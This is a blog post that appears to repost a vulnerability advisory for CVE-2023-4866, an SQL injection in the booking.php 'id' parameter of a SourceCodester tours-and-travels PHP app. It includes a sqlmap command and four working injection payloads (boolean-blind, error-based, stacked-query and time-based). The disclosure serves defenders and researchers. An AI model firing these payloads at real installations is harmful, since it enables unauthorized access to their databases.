Headline
CVE-2023-4866: SourceCodester Online Tours & Travels Management System booking.php sql injection_@sec的博客-CSDN博客
A vulnerability was found in SourceCodester Online Tours & Travels Management System 1.0 and classified as critical. This issue affects the function exec of the file booking.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-239351.
@sec 已于 2023-09-05 17:42:57 修改 26 收藏
于 2023-09-05 17:40:44 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
SourceCodester Online Tours & Travels Management System booking.php sql injection
Url: admin/operations/booking.php
Abstract:
Line 81 of booking.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
Data enters a program from an untrusted source.
The data is used to dynamically construct a SQL query.
In this case, the data is passed to exec() in booking.php on line 81.
sqlmap.py -r C:\Users\11361\Desktop\sql.txt
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=11' RLIKE (SELECT (CASE WHEN (3274=3274) THEN 11 ELSE 0x28 END))-- NuzX
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=11' AND GTID_SUBSET(CONCAT(0x7171787a71,(SELECT (ELT(6250=6250,1))),0x71786b6a71),6250)-- Xbjd
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=11';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: id=11' AND 4571=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- nHZp
Download Code:
https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html